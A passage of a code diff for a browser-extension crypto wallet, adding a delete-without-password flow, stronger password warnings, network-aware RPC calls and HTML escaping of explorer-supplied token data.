+//                     ahead of the write rather than a page lifetime ahead of
+//                     it (which is what made the popup's saveState() need a
+//                     per-field merge against a baseline at all).
+//
+// A handler that must both read and write therefore does its network work
+// against a snapshot it owns, and applies the RESULT inside updateState().
+// It never publishes an object other in-flight work is holding.
+
+const { storageGet, storageSet } = require("../shared/browserApi");
+const { normalizePersisted } = require("../shared/persistedState");
+
+// A fresh, fully-normalized, detached copy of the persisted profile.
+//
+// Normalized rather than raw: a legacy or malformed record is self-healed the
+// same way loadState() heals it for the popup, so the background is never the
+// one context reasoning about a shape the rest of the extension repairs.
+async function getState() {
+    const result = await storageGet("autistmask");
+    return normalizePersisted(result.autistmask);
+}
+
+// Serializes the read-modify-write turns below. Two of them interleaved would
+// each read before the other wrote, and the second write would carry the first
+// one's fields back to their pre-turn values.
+let updateQueue = Promise.resolve();
+
+async function updateStateOnce(mutate) {
+    const s = await getState();
+    await mutate(s);
+    s.hasWallet = Boolean(s.wallets && s.wallets.length > 0);
+    await storageSet({ autistmask: s });
+    return s;
+}
+
+// Apply `mutate` to a record read fresh from storage and write the result
+// back. `mutate` receives a detached, normalized profile and mutates it in
+// place; it may be async, but it must not do anything slow — the window
+// between the read and the write is the window in which another context's
+// write is lost, and keeping it to one storage round trip is what makes a
+// whole-record write safe here.
+//
+// `mutate` must also not call updateState() itself, directly or through
+// anything it awaits: the queue is strictly serial, so the inner turn waits on
+// the outer one, which is waiting on the inner one. That deadlocks the whole
+// background, not just the caller. Mutate the record you were handed.
+//
+// Resolves with the record that was written.
+function updateState(mutate) {
+    const turn = updateQueue.then(() => updateStateOnce(mutate));
+    // The queue must advance even when a turn rejects, or every update after
+    // it queues behind a promise that never settles.
+    updateQueue = turn.catch(() => {});
+    return turn;
+}
+
+module.exports = { getState, updateState };

src/popup/index.html

@@ -153,12 +153,28 @@
                 <!-- Shared password fields -->
                 <div class="mb-2" id="add-wallet-password-section">
                     <label class="block mb-1">Choose a password</label>
+                    <!-- The hint is swapped in place when the import tab
+                         changes, and it sits directly above the password
+                         fields, so a wording that wraps to a different
+                         number of lines would move them under the pointer.
+                         Two things stop that: the three wordings in
+                         PASSWORD_HINTS are kept within a couple of
+                         characters of each other in length, and this floor
+                         matches what each of them needs. All three measure
+                         48px -- 3 lines at the 16px line height, at the
+                         368px width this box has in the 396px popup body.
+                         Do not raise it: the reserve is unused height on
+                         every tab, and at 6rem it pushed
+                         #btn-add-wallet-confirm to bottom=628px in a 600px
+                         viewport, below the fold. -->
                     <p
-                        class="text-xs text-muted mb-1"
+                        class="text-xs text-muted mb-1 min-h-[3rem]"
                         id="add-wallet-password-hint"
                     >
                         This password encrypts your recovery phrase on this
-                        device. You will need it to send funds.
+                        device. You will need it to send funds. It cannot be
+                        recovered or reset, so keep your recovery phrase written
+                        down: it is the only backup of this wallet.
                     </p>
                     <input
                         type="password"
@@ -1140,6 +1156,71 @@
                 >
                     Confirm Delete
                 </button>
+                <p class="text-xs mt-3">
+                    <span
+                        id="btn-delete-wallet-lost-password"
+                        class="underline decoration-dashed cursor-pointer"
+                        >I have lost my password</span
+                    >
+                </p>
+            </div>
+
+            <!-- ============ DELETE WALLET WITHOUT THE PASSWORD ============ -->
+            <div id="view-delete-wallet-lost-password" class="view hidden">
+                <button
+                    id="btn-delete-wallet-lost-back"
+                    class="border border-border px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer mb-2"
+                >
+                    &lt; Back
+                </button>
+                <h2 class="font-bold mb-3">Delete Wallet Without a Password</h2>
+                <p class="text-xs mb-2">
+                    Your password cannot be recovered or reset, so there is no
+                    way to unlock
+                    <strong id="delete-wallet-lost-name"></strong> again. You
+                    can still delete it, and no password is needed to do that.
+                </p>
+                <p class="text-xs mb-2">
+                    Deleting it erases the copy of its key that is stored on
+                    this device. Nothing on the blockchain changes, and the
+                    money at its addresses is not moved or destroyed.
+                </p>
+                <p class="text-xs mb-2">
+                    If you have the recovery phrase for this wallet written
+                    down, add the wallet again afterwards with a new password
+                    and you will have it back.
+                    <strong
+                        >If you do not have it written down, deleting this
+                        wallet means losing everything it holds,
+                        forever.</strong
+                    >
+                </p>
+                <p class="text-xs mb-3">Your other wallets are not touched.</p>
+                <p class="text-xs mb-1">
+                    To confirm, type the name of the wallet (<strong
+                        id="delete-wallet-lost-name-echo"
+                    ></strong
+                    >) below.
+                </p>
+                <div class="mb-2">
+                    <input
+                        type="text"
+                        id="delete-wallet-lost-name-input"
+                        class="border border-border p-1 w-full font-mono text-sm bg-bg text-fg"
+                        placeholder="Type the wallet name"
+                    />
+                </div>
+                <div
+                    id="delete-wallet-lost-flash"
+                    class="text-xs text-red-500 mb-2 min-h-[1.25rem]"
+                    style="visibility: hidden"
+                ></div>
+                <button
+                    id="btn-delete-wallet-lost-confirm"
+                    class="border border-border text-red-500 px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
+                >
+                    Delete This Wallet Forever
+                </button>
             </div>
 
             <!-- ============ DELETE ADDRESS CONFIRM ============ -->

src/popup/index.js

@@ -53,6 +53,7 @@ async function doRefreshAndRender() {
                 state.rpcUrl,
                 state.blockscoutUrl,
                 state.trackedTokens,
+                state.networkId,
             ),
         ]);
         state.lastBalanceRefresh = Date.now();

src/popup/restorableViews.js

@@ -10,6 +10,11 @@
 // prompt in front of it, on a popup the user may have reopened by accident.
 // That is why "export-privkey" and "show-phrase" are absent.
 //
+// Nor may a view whose button destroys a wallet be listed, for the mirror
+// reason: a popup reopened by accident must not land on the screen that
+// erases key material. That is why "delete-wallet-confirm" and
+// "delete-wallet-lost-password" are absent.
+//
 // Kept in its own module, with no dependencies, so tests can assert the
 // exclusion directly rather than trusting a reading of the popup entry
 // point, which cannot be required outside a browser.

src/popup/views/addToken.js

@@ -1,4 +1,4 @@
-const { $, showView, showFlash, goBack } = require("./helpers");
+const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
 const { getTopTokens } = require("../../shared/tokenList");
 const { state, saveState } = require("../../shared/state");
 const { lookupTokenInfo } = require("../../shared/balances");
@@ -13,7 +13,7 @@ function show() {
     list.innerHTML = getTopTokens(25)
         .map(
             (t) =>
-                `<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${t.address}" data-symbol="${t.symbol}" data-decimals="${t.decimals}">${t.symbol}</button>`,
+                `<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${escapeHtml(t.address)}" data-symbol="${escapeHtml(t.symbol)}" data-decimals="${escapeHtml(t.decimals)}">${escapeHtml(t.symbol)}</button>`,
         )
         .join("");
     list.querySelectorAll(".common-token").forEach((btn) => {
@@ -49,7 +49,11 @@ function init(ctx) {
         infoEl.style.visibility = "visible";
         log.debugf("Looking up token contract", contractAddr);
         try {
-            const info = await lookupTokenInfo(contractAddr, state.rpcUrl);
+            const info = await lookupTokenInfo(
+                contractAddr,
+                state.rpcUrl,
+                state.networkId,
+            );
             log.infof("Adding token", info.symbol, contractAddr);
             state.trackedTokens.push({
                 address: contractAddr,

src/popup/views/addWallet.js

@@ -42,12 +42,24 @@ let currentMode = "mnemonic";
 
 const MODES = ["mnemonic", "privkey", "xprv"];
 
+// Each hint names what this import mode's own backup is, because a key
+// wallet and an xprv wallet have no recovery phrase to point the user at.
+// All three say the same thing about the password: it is gone for good if
+// it is forgotten. That sentence is the only warning the user gets before
+// the wallet exists, and without it the lost-password route in
+// views/deleteWallet.js is the first they hear of it.
+//
+// Keep the three within a couple of characters of each other in length.
+// The hint sits directly above the password fields and the tabs swap it in
+// place, so a wording that wraps to a different number of lines would move
+// those fields under the pointer; the reserved height on
+// #add-wallet-password-hint is the other half of that guarantee.
 const PASSWORD_HINTS = {
     mnemonic:
-        "This password encrypts your recovery phrase on this device. You will need it to send funds.",
+        "This password encrypts your recovery phrase on this device. You will need it to send funds. It cannot be recovered or reset, so keep your recovery phrase written down: it is the only backup of this wallet.",
     privkey:
-        "This password encrypts your private key on this device. You will need it to send funds.",
-    xprv: "This password encrypts your key on this device. You will need it to send funds.",
+        "This password encrypts your private key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your private key saved somewhere safe: it is the only backup of this wallet.",
+    xprv: "This password encrypts your key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your extended private key saved somewhere safe: it is the only backup of this wallet.",
 };
 
 function switchMode(mode) {
@@ -167,7 +179,7 @@ async function importMnemonic(ctx) {
 
     // Scan for used HD addresses beyond index 0.
     showFlash("Scanning for addresses...", 30000);
-    const scan = await scanForAddresses(xpub, state.rpcUrl);
+    const scan = await scanForAddresses(xpub, state.rpcUrl, state.networkId);
     if (scan.addresses.length > 1) {
         wallet.addresses = scan.addresses.map((a) => ({
             address: a.address,
@@ -286,7 +298,7 @@ async function importXprvKey(ctx) {
 
     // Scan for used HD addresses beyond index 0.
     showFlash("Scanning for addresses...", 30000);
-    const scan = await scanForAddresses(xpub, state.rpcUrl);
+    const scan = await scanForAddresses(xpub, state.rpcUrl, state.networkId);
     if (scan.addresses.length > 1) {
         wallet.addresses = scan.addresses.map((a) => ({
             address: a.address,

src/popup/views/addressDetail.js

@@ -6,6 +6,7 @@ const {
     addressDotHtml,
     addressTitle,
     escapeHtml,
+    displaySymbol,
     truncateMiddle,
     renderAddressHtml,
     attachCopyHandlers,
@@ -187,6 +188,7 @@ async function loadTransactions(address) {
                 ensNameMap = await resolveEnsNames(
                     counterparties,
                     state.rpcUrl,
+                    state.networkId,
                 );
             } catch {
                 ensNameMap = new Map();
@@ -221,10 +223,12 @@ function renderTransactions(txs) {
                   : tx.from;
         const ensName = ensNameMap.get(counterparty) || null;
         const title = addressTitle(counterparty, state.wallets);
-        const dirLabel = tx.directionLabel;
+        // The explorer's method name for a contract call, title-cased.
+        const dirLabel = escapeHtml(tx.directionLabel);
+        const sym = displaySymbol(tx.symbol);
         const amountStr = tx.value
-            ? escapeHtml(tx.value + " " + tx.symbol)
-            : escapeHtml(tx.symbol);
+            ? escapeHtml(tx.value + " " + sym)
+            : escapeHtml(sym);
         const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
         const displayAddr =
             title || ensName || truncateMiddle(counterparty, maxAddr);

src/popup/views/addressToken.js

@@ -9,6 +9,7 @@ const {
     addressDotHtml,
     addressTitle,
     escapeHtml,
+    displaySymbol,
     truncateMiddle,
     balanceLine,
     renderAddressHtml,
@@ -124,7 +125,11 @@ function show() {
     currentSymbol = symbol;
 
     $("address-token-title").textContent =
-        wallet.name + " \u2014 Address " + (ai + 1) + " \u2014 " + symbol;
+        wallet.name +
+        " \u2014 Address " +
+        (ai + 1) +
+        " \u2014 " +
+        displaySymbol(symbol);
 
     // Blockie
     const blockieEl = $("address-token-jazzicon");
@@ -174,7 +179,9 @@ function show() {
             (knownToken && knownToken.symbol) ||
             null;
         const tokenName = rawName ? escapeHtml(rawName) : null;
-        const tokenSymbol = rawSymbol ? escapeHtml(rawSymbol) : null;
+        const tokenSymbol = rawSymbol
+            ? escapeHtml(displaySymbol(rawSymbol))
+            : null;
         const tokenDecimals =
             tb && tb.decimals != null
                 ? tb.decimals
@@ -261,6 +268,7 @@ async function loadTransactions(address, tokenId) {
                 ensNameMap = await resolveEnsNames(
                     counterparties,
                     state.rpcUrl,
+                    state.networkId,
                 );
             } catch {
                 ensNameMap = new Map();
@@ -288,10 +296,12 @@ function renderTransactions(txs) {
         const counterparty = tx.direction === "sent" ? tx.to : tx.from;
         const ensName = ensNameMap.get(counterparty) || null;
         const title = addressTitle(counterparty, state.wallets);
-        const dirLabel = tx.directionLabel;
+        // The explorer's method name for a contract call, title-cased.
+        const dirLabel = escapeHtml(tx.directionLabel);
+        const sym = displaySymbol(tx.symbol);
         const amountStr = tx.value
-            ? escapeHtml(tx.value + " " + tx.symbol)
-            : escapeHtml(tx.symbol);
+            ? escapeHtml(tx.value + " " + sym)
+            : escapeHtml(sym);
         const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
         const displayAddr =
             title || ensName || truncateMiddle(counterparty, maxAddr);
@@ -361,7 +371,7 @@ function init(_ctx) {
         }
         // Hide dropdown, show static token display
         $("send-token").classList.add("hidden");
-        let staticHtml = `<div class="font-bold">${escapeHtml(currentSymbol)}</div>`;
+        let staticHtml = `<div class="font-bold">${escapeHtml(displaySymbol(currentSymbol))}</div>`;
         if (tokenId !== "ETH") {
             staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`;
         }

src/popup/views/approval.js

@@ -21,6 +21,16 @@ const {
 const { getPrice, formatUsd } = require("../../shared/prices");
 const { ERC20_ABI } = require("../../shared/constants");
 const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
+const {
+    resolveTokenDecimals,
+    unknownDecimalsAmount,
+} = require("../../shared/approvalAmount");
+// Four decimals, with the nonzero floor these screens hold: every amount this
+// view renders — the ERC-20 line, the ETH value, the max fee — and every one
+// it carries forward to the wait/success/error screens goes through it.
+const {
+    truncateAmountNeverZero: formatTxValue,
+} = require("../../shared/amountDisplay");
 const { decryptWithPassword } = require("../../shared/vault");
 const { getSignerForAddress } = require("../../shared/wallet");
 const { walletDefect } = require("../../shared/walletDefects");
@@ -36,11 +46,21 @@ function approvalAddressHtml(address) {
     return renderAddressHtml(address, { title });
 }
 
-function formatTxValue(val) {
-    const parts = val.split(".");
-    if (parts.length === 1) return val + ".0000";
-    const dec = (parts[1] + "0000").slice(0, 4);
-    return parts[0] + "." + dec;
+// The amount line for a decoded ERC-20 call. With a known scale it is the
+// token quantity; with `decimals` null it is the base-unit integer with the
+// unknown scale stated, because formatting it with an assumed scale is what
+// showed a 5,000-token transfer as `0.0000`. `raw` is what the status screens
+// carry, `display` is what the approval screen shows.
+function tokenAmountText(rawAmount, decimals, symbol) {
+    if (decimals === null) {
+        const unknown = unknownDecimalsAmount(rawAmount);
+        return { raw: unknown, display: unknown };
+    }
+    const formatted = formatTxValue(formatUnits(rawAmount, decimals));
+    return {
+        raw: formatted,
+        display: formatted + (symbol ? " " + symbol : ""),
+    };
 }
 
 function tokenLabel(address) {
@@ -59,7 +79,15 @@ function decodeCalldata(data, toAddress) {
         if (parsed) {
             const token = TOKEN_BY_ADDRESS.get(toAddress.toLowerCase());
             const tokenSymbol = token ? token.symbol : null;
-            const tokenDecimals = token ? token.decimals : 18;
+            // null when no source knows this token's scale. It is not
+            // defaulted to 18: an amount formatted with a guessed scale is
+            // the wrong number, and for a token with fewer decimals than the
+            // guess it is the wrong number in the direction that reads as
+            // zero. See tokenAmountText().
+            const tokenDecimals = resolveTokenDecimals(toAddress, {
+                trackedTokens: state.trackedTokens,
+                wallets: state.wallets,
+            });
             const contractLabel = tokenSymbol
                 ? tokenSymbol + " (" + toAddress + ")"
                 : toAddress;
@@ -71,12 +99,11 @@ function decodeCalldata(data, toAddress) {
                     "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
                 );
                 const isUnlimited = rawAmount === maxUint;
-                const amountRaw = isUnlimited
-                    ? "Unlimited"
-                    : formatTxValue(formatUnits(rawAmount, tokenDecimals));
-                const amountStr = isUnlimited
-                    ? "Unlimited"
-                    : amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
+                // An unbounded allowance needs no scale to describe, so it is
+                // still named rather than refused.
+                const amount = isUnlimited
+                    ? { raw: "Unlimited", display: "Unlimited" }
+                    : tokenAmountText(rawAmount, tokenDecimals, tokenSymbol);
 
                 return {
                     name: "Token Approval",
@@ -97,8 +124,8 @@ function decodeCalldata(data, toAddress) {
                         },
                         {
                             label: "Amount",
-                            value: amountStr,
-                            rawValue: amountRaw,
+                            value: amount.display,
+                            rawValue: amount.raw,
                         },
                     ],
                 };
@@ -107,11 +134,11 @@ function decodeCalldata(data, toAddress) {
             if (parsed.name === "transfer") {
                 const to = parsed.args[0];
                 const rawAmount = parsed.args[1];
-                const amountRaw = formatTxValue(
-                    formatUnits(rawAmount, tokenDecimals),
+                const amount = tokenAmountText(
+                    rawAmount,
+                    tokenDecimals,
+                    tokenSymbol,
                 );
-                const amountStr =
-                    amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
 
                 return {
                     name: "Token Transfer",
@@ -128,8 +155,8 @@ function decodeCalldata(data, toAddress) {
                         { label: "Recipient", value: to, address: to },
                         {
                             label: "Amount",
-                            value: amountStr,
-                            rawValue: amountRaw,
+                            value: amount.display,
+                            rawValue: amount.raw,
                         },
                     ],
                 };

src/popup/views/confirmTx.js

@@ -10,6 +10,7 @@ const {
     showView,
     addressTitle,
     escapeHtml,
+    displaySymbol,
     renderAddressHtml,
     attachCopyHandlers,
     goBack,
@@ -57,7 +58,7 @@ function restore() {
 
 function blockieHtml(address) {
     const src = makeBlockie(address);
-    return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
+    return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
 }
 
 function confirmAddressHtml(address, ensName, title) {
@@ -81,7 +82,11 @@ function show(txInfo) {
     feeWei = null;
 
     const isErc20 = txInfo.token !== "ETH";
-    const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
+    // The raw symbol is the price-table key; the capped one is what the
+    // screen says. Truncating before the lookup would silently drop the
+    // price of any token whose symbol is long enough to be capped.
+    const rawSymbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
+    const symbol = displaySymbol(rawSymbol);
 
     // Transaction type
     if (isErc20) {
@@ -123,7 +128,7 @@ function show(txInfo) {
 
     // Amount (with inline USD)
     const ethPrice = getPrice("ETH");
-    const tokenPrice = getPrice(symbol);
+    const tokenPrice = getPrice(rawSymbol);
     const amountNum = parseFloat(txInfo.amount);
     const price = isErc20 ? tokenPrice : ethPrice;
     const amountUsd = price ? amountNum * price : null;
@@ -156,7 +161,12 @@ function show(txInfo) {
         warningsEl.innerHTML = localWarnings
             .map(
                 (w) =>
-                    `<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${w.message}</div>`,
+                    // Only the three hardcoded strings in
+                    // src/shared/addressWarnings.js reach this today, but
+                    // src/shared/etherscanLabels.js already builds a
+                    // `warning` out of scraped explorer markup, so this is
+                    // one wiring change away from carrying remote text.
+                    `<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${escapeHtml(w.message)}</div>`,
             )
             .join("");
         warningsEl.style.visibility = "visible";
@@ -206,7 +216,7 @@ function show(txInfo) {
 // touches already occupies its space, so re-running it never moves anything.
 function renderValidation(txInfo) {
     const isErc20 = txInfo.token !== "ETH";
-    const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
+    const symbol = isErc20 ? displaySymbol(txInfo.tokenSymbol || "?") : "ETH";
 
     const { canSend, codes } = validateTransfer({
         isErc20,
@@ -294,7 +304,7 @@ function formatFeeEth(wei) {
 
 async function estimateGas(txInfo) {
     try {
-        const provider = getProvider(state.rpcUrl);
+        const provider = getProvider(state.rpcUrl, state.networkId);
         const feeData = await provider.getFeeData();
         let gasLimit;
 
@@ -376,7 +386,7 @@ async function estimateGas(txInfo) {
 
 async function checkRecipientHistory(txInfo) {
     try {
-        const provider = getProvider(state.rpcUrl);
+        const provider = getProvider(state.rpcUrl, state.networkId);
         const asyncWarnings = await getFullWarnings(txInfo.to, provider, {
             fromAddress: txInfo.from,
         });
@@ -444,7 +454,7 @@ function init(_ctx) {
                 state.selectedAddress,
                 decryptedSecret,
             );
-            const provider = getProvider(state.rpcUrl);
+            const provider = getProvider(state.rpcUrl, state.networkId);
             const connectedSigner = signer.connect(provider);
 
             if (pendingTx.token === "ETH") {

src/popup/views/deleteAddress.js

@@ -11,6 +11,7 @@ const {
     $,
     showView,
     showFlash,
+    escapeHtml,
     goBack,
     renderAddressHtml,
     attachCopyHandlers,
@@ -44,8 +45,8 @@ function setFlash(msg) {
 // wallet.nextIndex is a high-water mark and is deliberately not rewound; and
 // re-importing this wallet's key material is refused as a duplicate by
 // findWalletByXpub() for as long as the wallet is here. What remains is to
-// delete the whole wallet in Settings — which asks for the password and
-// destroys the stored secret — and import again, after which
+// delete the whole wallet in Settings — which destroys the stored secret,
+// with or without the password — and import again, after which
 // scanForAddresses() rediscovers the address only if it has on-chain
 // activity. An address that was never used is not found by that scan, and
 // the copy must not imply otherwise.
@@ -62,8 +63,7 @@ function recoveryPathText(wallet) {
         "importing this " +
         secret +
         " again is refused while this wallet is still here. The way back is " +
-        "to delete the whole wallet in Settings, which asks for your " +
-        "password and destroys the stored " +
+        "to delete the whole wallet in Settings, which destroys the stored " +
         secret +
         ", and then import that " +
         secret +
@@ -92,7 +92,7 @@ function balanceWarningHtml(addr) {
     if (!addressHoldsFunds(addr)) return " ";
     const line = formatAddressTotal(getAddressValue(addr));
     const total = line
-        ? `<div class="text-xs text-muted mt-1">${line}</div>`
+        ? `<div class="text-xs text-muted mt-1">${escapeHtml(line)}</div>`
         : "";
     return (
         `<p class="mb-1">This address holds a balance. Removing it does not ` +

src/popup/views/deleteWallet.js

@@ -14,8 +14,29 @@ const {
 } = require("../../shared/walletDelete");
 
 let deleteWalletIndex = null;
+let lostPasswordIndex = null;
 let ctx = null;
 
+// The name shown for a wallet, and on the lost-password screen the string
+// the user has to type back. One function so the two cannot disagree: a
+// confirmation that asks for a name other than the one on screen is
+// unusable.
+function displayName(walletIdx) {
+    const wallet = state.wallets[walletIdx];
+    return (wallet && wallet.name) || "Wallet " + (walletIdx + 1);
+}
+
+// What the typed confirmation and the wallet name are compared as. HTML
+// collapses runs of whitespace when it renders the name, so a wallet named
+// "My  Wallet" with two spaces DISPLAYS as "My Wallet": the user cannot
+// see the second space and cannot type a string that matches the stored
+// name. Comparing collapsed on both sides is what keeps the confirmation
+// satisfiable, on the one screen whose whole purpose is unwedging a user
+// who is already stuck. Case and surrounding space go the same way.
+function confirmKey(name) {
+    return name.trim().replace(/\s+/g, " ").toLowerCase();
+}
+
 // Drop the password from the DOM and the wallet selection from the
 // closure. Registered as the view-leave handler as well as run on entry,
 // so the typed password does not sit in the hidden view after the user
@@ -27,19 +48,89 @@ function clear() {
     $("delete-wallet-flash").style.visibility = "hidden";
 }
 
+// The lost-password screen holds no secret — a wallet name is not one —
+// but it is wiped on leave for the neighbouring reason: a typed
+// confirmation left standing in a hidden view is one click away from
+// destroying a wallet the user has since navigated off. The button is
+// re-enabled here too, so a screen left mid-delete is usable on re-entry.
+function clearLostPassword() {
+    lostPasswordIndex = null;
+    $("delete-wallet-lost-name-input").value = "";
+    $("delete-wallet-lost-flash").textContent = "";
+    $("delete-wallet-lost-flash").style.visibility = "hidden";
+    const btn = $("btn-delete-wallet-lost-confirm");
+    btn.disabled = false;
+    btn.classList.remove("text-muted");
+}
+
 function show(walletIdx) {
     clear();
     deleteWalletIndex = walletIdx;
-    const wallet = state.wallets[walletIdx];
-    $("delete-wallet-name").textContent =
-        wallet.name || "Wallet " + (walletIdx + 1);
+    $("delete-wallet-name").textContent = displayName(walletIdx);
     showView("delete-wallet-confirm");
 }
 
+// The two delete screens are siblings, not parent and child: nothing is
+// pushed on the way here, and Back goes to show() rather than goBack().
+// Both then have the same Back target — Settings, the screen that pushed
+// delete-wallet-confirm — and re-entering through show() hands the confirm
+// screen its wallet selection back, which a bare goBack() onto a view
+// whose leave hook has already nulled that selection would not.
+function showLostPassword() {
+    const walletIdx = deleteWalletIndex;
+    if (walletIdx === null) {
+        goBack();
+        return;
+    }
+    const name = displayName(walletIdx);
+    clearLostPassword();
+    $("delete-wallet-lost-name").textContent = name;
+    $("delete-wallet-lost-name-echo").textContent = name;
+    // showView() runs the leave hook of delete-wallet-confirm, which nulls
+    // deleteWalletIndex, so this screen's own selection is recorded after
+    // it and not before.
+    showView("delete-wallet-lost-password");
+    lostPasswordIndex = walletIdx;
+}
+
+// Remove the wallet and put the user somewhere sensible. Shared by both
+// routes onto this screen, so the selection repair, the site-permission
+// cleanup and the accountsChanged broadcast cannot drift apart between
+// them.
+async function finishDelete(walletIdx) {
+    const { activeAddressChanged } = removeWalletFromState(state, walletIdx);
+
+    deleteWalletIndex = null;
+    lostPasswordIndex = null;
+
+    if (!state.hasWallet) {
+        clearViewStack();
+        await saveState();
+        // Save before broadcasting: the background reads the active
+        // address back out of storage to build accountsChanged.
+        if (activeAddressChanged) broadcastActiveChanged();
+        showView("welcome");
+        return;
+    }
+
+    await saveState();
+    if (activeAddressChanged) broadcastActiveChanged();
+    // Reset stack to [main] so Settings back goes home.
+    // Use require() lazily to avoid circular dependency
+    // (settings.js requires deleteWallet.js).
+    clearViewStack();
+    state.viewStack.push("main");
+    ctx.renderWalletList();
+    const settings = require("./settings");
+    settings.show();
+    showFlash("Wallet deleted.");
+}
+
 function init(_ctx) {
     ctx = _ctx;
 
     onViewLeave("delete-wallet-confirm", clear);
+    onViewLeave("delete-wallet-lost-password", clearLostPassword);
 
     // No wipe here: goBack() routes through showView(), which runs the
     // leave hook.
@@ -47,6 +138,60 @@ function init(_ctx) {
         goBack();
     });
 
+    // The escape hatch, and deliberately not gated on anything a user who
+    // has lost the password cannot produce. A password in front of
+    // DISCARDING a secret protects nobody: an attacker at the popup who
+    // wants the wallet gone can uninstall the extension, so the only
+    // person such a gate stops is the owner who forgot it — and before
+    // this route existed that owner could neither delete the wallet nor
+    // import its recovery phrase again, because AddWallet refuses the xpub
+    // as a duplicate while the wallet is still stored.
+    $("btn-delete-wallet-lost-password").addEventListener("click", () => {
+        showLostPassword();
+    });
+
+    $("btn-delete-wallet-lost-back").addEventListener("click", () => {
+        const walletIdx = lostPasswordIndex;
+        if (walletIdx === null) {
+            goBack();
+            return;
+        }
+        show(walletIdx);
+    });
+
+    $("btn-delete-wallet-lost-confirm").addEventListener("click", async () => {
+        if (lostPasswordIndex === null) {
+            $("delete-wallet-lost-flash").textContent =
+                "No wallet selected for deletion.";
+            $("delete-wallet-lost-flash").style.visibility = "visible";
+            return;
+        }
+
+        // Case, surrounding spaces and repeated inner spaces are not part
+        // of the confirmation; see confirmKey(). This asks whether the
+        // user knows which wallet they are on; it is not a secret, and
+        // refusing "wallet 2" for "Wallet 2" would only teach the user to
+        // distrust the control.
+        const typed = $("delete-wallet-lost-name-input").value;
+        const expected = displayName(lostPasswordIndex);
+        if (confirmKey(typed) !== confirmKey(expected)) {
+            $("delete-wallet-lost-flash").textContent =
+                "That is not the name of this wallet. Type " +
+                expected +
+                " to confirm.";
+            $("delete-wallet-lost-flash").style.visibility = "visible";
+            return;
+        }
+
+        const btn = $("btn-delete-wallet-lost-confirm");
+        btn.disabled = true;
+        btn.classList.add("text-muted");
+
+        // finishDelete() navigates, and the leave hook re-enables the
+        // button and wipes the typed name on the way out.
+        await finishDelete(lostPasswordIndex);
+    });
+
     $("btn-delete-wallet-confirm").addEventListener("click", async () => {
         const pw = $("delete-wallet-password").value;
         if (!pw) {
@@ -82,34 +227,7 @@ function init(_ctx) {
             return;
         }
 
-        // Remove the wallet and repair selection, permissions and hasWallet
-        const { activeAddressChanged } = removeWalletFromState(
-            state,
-            walletIdx,
-        );
-
-        deleteWalletIndex = null;
-
-        if (!state.hasWallet) {
-            clearViewStack();
-            await saveState();
-            // Save before broadcasting: the background reads the active
-            // address back out of storage to build accountsChanged.
-            if (activeAddressChanged) broadcastActiveChanged();
-            showView("welcome");
-        } else {
-            await saveState();
-            if (activeAddressChanged) broadcastActiveChanged();
-            // Reset stack to [main] so Settings back goes home.
-            // Use require() lazily to avoid circular dependency
-            // (settings.js requires deleteWallet.js).
-            clearViewStack();
-            state.viewStack.push("main");
-            ctx.renderWalletList();
-            const settings = require("./settings");
-            settings.show();
-            showFlash("Wallet deleted.");
-        }
+        await finishDelete(walletIdx);
     });
 }
 

src/popup/views/helpers.js

@@ -1,8 +1,22 @@
 // Shared DOM helpers used by all views.
+//
+// Escaping rule for every view in this directory, since they all build
+// markup by concatenation: any VALUE interpolated into an innerHTML string
+// goes through escapeHtml(), whatever its provenance looks like today. The
+// only interpolations left bare are markup FRAGMENTS this code just built
+// (a rendered dot, an icon, a composed row), which escaping would turn into
+// visible angle brackets, and locally computed numbers and loop indices.
+// The distinction is meant to be greppable: an unescaped `${` next to a
+// name that reads like data is a defect.
 
+// escapeHtml lives in src/shared/html.js, where the escape and the
+// reasoning behind it are; it is re-exported below so views keep importing
+// it from here.
+const { escapeHtml } = require("../../shared/html");
 const { isDebug } = require("../../shared/log");
 const { formatUsd, getPrice } = require("../../shared/prices");
 const { state, saveState, currentNetwork } = require("../../shared/state");
+const { displaySymbol } = require("../../shared/symbolDisplay");
 const { markViewRendered } = require("../viewRouter");
 
 // When views are added, removed, or transitions between them change,
@@ -22,6 +36,7 @@ const VIEWS = [
     "add-token",
     "settings",
     "delete-wallet-confirm",
+    "delete-wallet-lost-password",
     "delete-address-confirm",
     "settings-addtoken",
     "transaction",
@@ -177,17 +192,26 @@ function showFlash(msg, duration = 2000) {
     }, duration);
 }
 
+// One row of the balance list: symbol, quantity, fiat value.
+//
+// `symbol` is the ERC-20's own symbol() as the block explorer reported it,
+// so it is attacker-chosen markup until it has been through escapeHtml, and
+// attacker-chosen length until it has been through displaySymbol. This is
+// the row that issue #307 was reported against: every screen that lists a
+// holding renders through here.
 function balanceLine(symbol, amount, price, tokenId) {
     const qty = amount.toFixed(4);
     const usd = price ? formatUsd(amount * price) || " " : " ";
-    const tokenAttr = tokenId ? ` data-token="${tokenId}"` : "";
+    // tokenId is a contract address out of the same explorer JSON, and it
+    // lands inside a quoted attribute.
+    const tokenAttr = tokenId ? ` data-token="${escapeHtml(tokenId)}"` : "";
     const clickClass = tokenId
         ? " cursor-pointer hover:bg-hover balance-row"
         : "";
     return (
         `<div class="flex text-xs${clickClass}"${tokenAttr}>` +
